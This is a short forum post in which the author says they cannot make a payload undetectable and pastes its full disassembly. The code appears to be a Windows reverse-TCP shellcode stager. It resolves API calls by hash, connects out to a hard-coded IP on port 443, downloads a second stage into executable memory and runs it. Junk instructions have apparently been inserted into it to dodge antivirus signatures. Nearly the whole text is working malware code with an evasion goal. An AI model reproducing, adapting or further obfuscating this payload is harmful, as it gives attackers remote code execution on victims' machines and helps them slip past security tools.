i have this assembly code of the payload but i can´t make undetectable
Code:
.section '.text' rwx
.entrypoint
entrypoint_0:
    cld                                          ; @0  fc  
    call sub_8fh                                 ; @1  e889000000  x:sub_8fh
    pushad                                       ; @6  60  
    mov ebp, esp                                 ; @7  89e5  
    xor edx, edx                                 ; @9  31d2  
    mov edx, fs:[edx+30h]                        ; @0bh  648b5230  r4:segment_base_fs+30h
    mov edx, [edx+0ch]                           ; @0fh  8b520c  r4:unknown
    mov edx, [edx+14h]                           ; @12h  8b5214  r4:unknown


// Xrefs: 8dh
loc_15h:
    mov esi, [edx+28h]                ; @15h  8b7228  r4:unknown
    movzx ecx, word ptr [edx+26h]        ; @18h  0fb74a26  r2:unknown
    mov edi, ecx                ; Move the contents of the ECX register into the EDI Register
    push edi                    ; Push the EDI register onto the current stack frame
    pop edi                    ; Pop it back off
    mov edi, ecx                ; Mov ECX back into edi
    xor ecx, ecx                ; Zero out the contents of the ECX register
    mov ecx, edi                ; Mov EDI back into ECX
    xor edi, edi                ; @1ch  31ff


// Xrefs: 2ch
loc_1eh:
    xor eax, eax                                 ; @1eh  31c0  
    lodsb                                        ; @20h  ac  
    cmp al, 61h                                  ; @21h  3c61  
    jl loc_27h                                   ; @23h  7c02  x:loc_27h

    sub al, 20h                                  ; @25h  2c20  


// Xrefs: 23h
loc_27h:
    ror edi, 0dh                                 ; @27h  c1cf0d  
    add edi, eax                                 ; @2ah  01c7  
    loop loc_1eh                                 ; @2ch  e2f0  x:loc_1eh

    push edx                                     ; @2eh  52  
    push edi                                     ; @2fh  57  
    mov edx, [edx+10h]                           ; @30h  8b5210  r4:unknown
    mov eax, [edx+3ch]                           ; @33h  8b423c  
    add eax, edx                                 ; @36h  01d0  
    mov eax, [eax+78h]                           ; @38h  8b4078  
    test eax, eax                                ; @3bh  85c0  
    jz loc_89h                                   ; @3dh  744a  x:loc_89h

    add eax, edx                                 ; @3fh  01d0  
    push eax                                     ; @41h  50  
    mov ecx, [eax+18h]                           ; @42h  8b4818  
    mov ebx, [eax+20h]                           ; @45h  8b5820  
    add ebx, edx                                 ; @48h  01d3  


// Xrefs: 66h
loc_4ah:
    jecxz loc_88h                                ; @4ah  e33c  x:loc_88h

    dec ecx                                      ; @4ch  49  
    mov esi, [ebx+4*ecx]                         ; @4dh  8b348b  
    add esi, edx                                 ; @50h  01d6  
    xor edi, edi                                 ; @52h  31ff  


// Xrefs: 5eh
loc_54h:
    xor eax, eax                                 ; @54h  31c0  
    lodsb                                        ; @56h  ac  
    ror edi, 0dh                                 ; @57h  c1cf0d  
    add edi, eax                                 ; @5ah  01c7  
    cmp al, ah                                   ; @5ch  38e0  
    jnz loc_54h                                  ; @5eh  75f4  x:loc_54h

    add edi, [ebp-8]                             ; @60h  037df8  
    cmp edi, [ebp+24h]                           ; @63h  3b7d24  
    jnz loc_4ah                                  ; @66h  75e2  x:loc_4ah

    pop eax                                      ; @68h  58  
    mov ebx, [eax+24h]                           ; @69h  8b5824  
    add ebx, edx                                 ; @6ch  01d3  
    mov cx, [ebx+2*ecx]                          ; @6eh  668b0c4b  
    mov ebx, [eax+1ch]                           ; @72h  8b581c  
    add ebx, edx                                 ; @75h  01d3  
    mov eax, [ebx+4*ecx]                         ; @77h  8b048b  
    add eax, edx                                 ; @7ah  01d0  
    mov [esp+24h], eax                           ; @7ch  89442424  
    pop ebx                                      ; @80h  5b  
    pop ebx                                      ; @81h  5b  
    popad                                        ; @82h  61  
    pop ecx                                      ; @83h  59  
    pop edx                                      ; @84h  5a  
    push ecx                                     ; @85h  51  
    jmp eax                                      ; @86h  ffe0  


// Xrefs: 4ah
loc_88h:
    pop eax                                      ; @88h  58  


// Xrefs: 3dh
loc_89h:
    pop edi                                      ; @89h  5f  
    pop edx                                      ; @8ah  5a  
    mov edx, [edx]                               ; @8bh  8b12  r4:unknown
    jmp loc_15h                                  ; @8dh  eb86  x:loc_15h


// Xrefs: 1
sub_8fh:
// function binding: ebp -> dword ptr [esp], esp -> esp-10h
// function ends at 0a0h
    pop ebp                                      ; @8fh  5d  
    push 3233h                                   ; @90h  6833320000  
    push 5f327377h                               ; @95h  687773325f  
    push esp                                     ; @9ah  54  
    push 726774ch                                ; @9bh  684c772607  
    call ebp                                     ; @0a0h  ffd5  endsub sub_8fh noreturn
db 0b8h, 90h, 1, 0, 0, 29h, 0c4h, "TPh)", 80h, 6bh, 0 ; @0a2h
db 0ffh, 0d5h, "PPPP@P@Ph", 0eah, 0fh, 0dfh, 0e0h, 0ffh ; @0b0h
db 0d5h, 97h, 6ah, 5, 68h, 0c0h, 0a8h, 1, 84h, 68h, 2, 0, 1, 0bbh, 89h, 0e6h ; @0c0h
db 6ah, 10h, "VWh", 99h, 0a5h, 74h, 61h, 0ffh, 0d5h, 85h, 0c0h, 74h, 0ch, 0ffh ; @0d0h
db 4eh, 8, 75h, 0ech, 68h, 0f0h, 0b5h, 0a2h, 56h, 0ffh, 0d5h, 6ah, 0, 6ah, 4, 56h ; @0e0h
db 57h, 68h, 2, 0d9h, 0c8h, 5fh, 0ffh, 0d5h, 8bh, "6j@h", 0, 10h, 0 ; @0f0h
db 0, 56h, 6ah, 0, 68h, 58h, 0a4h, 53h, 0e5h, 0ffh, 0d5h, 93h, 53h, 6ah, 0, 56h ; @100h
db "SWh", 2, 0d9h, 0c8h, 5fh, 0ffh, 0d5h, 1, 0c3h, 29h, 0c6h, 85h, 0f6h, 75h ; @110h
db 0ech, 0c3h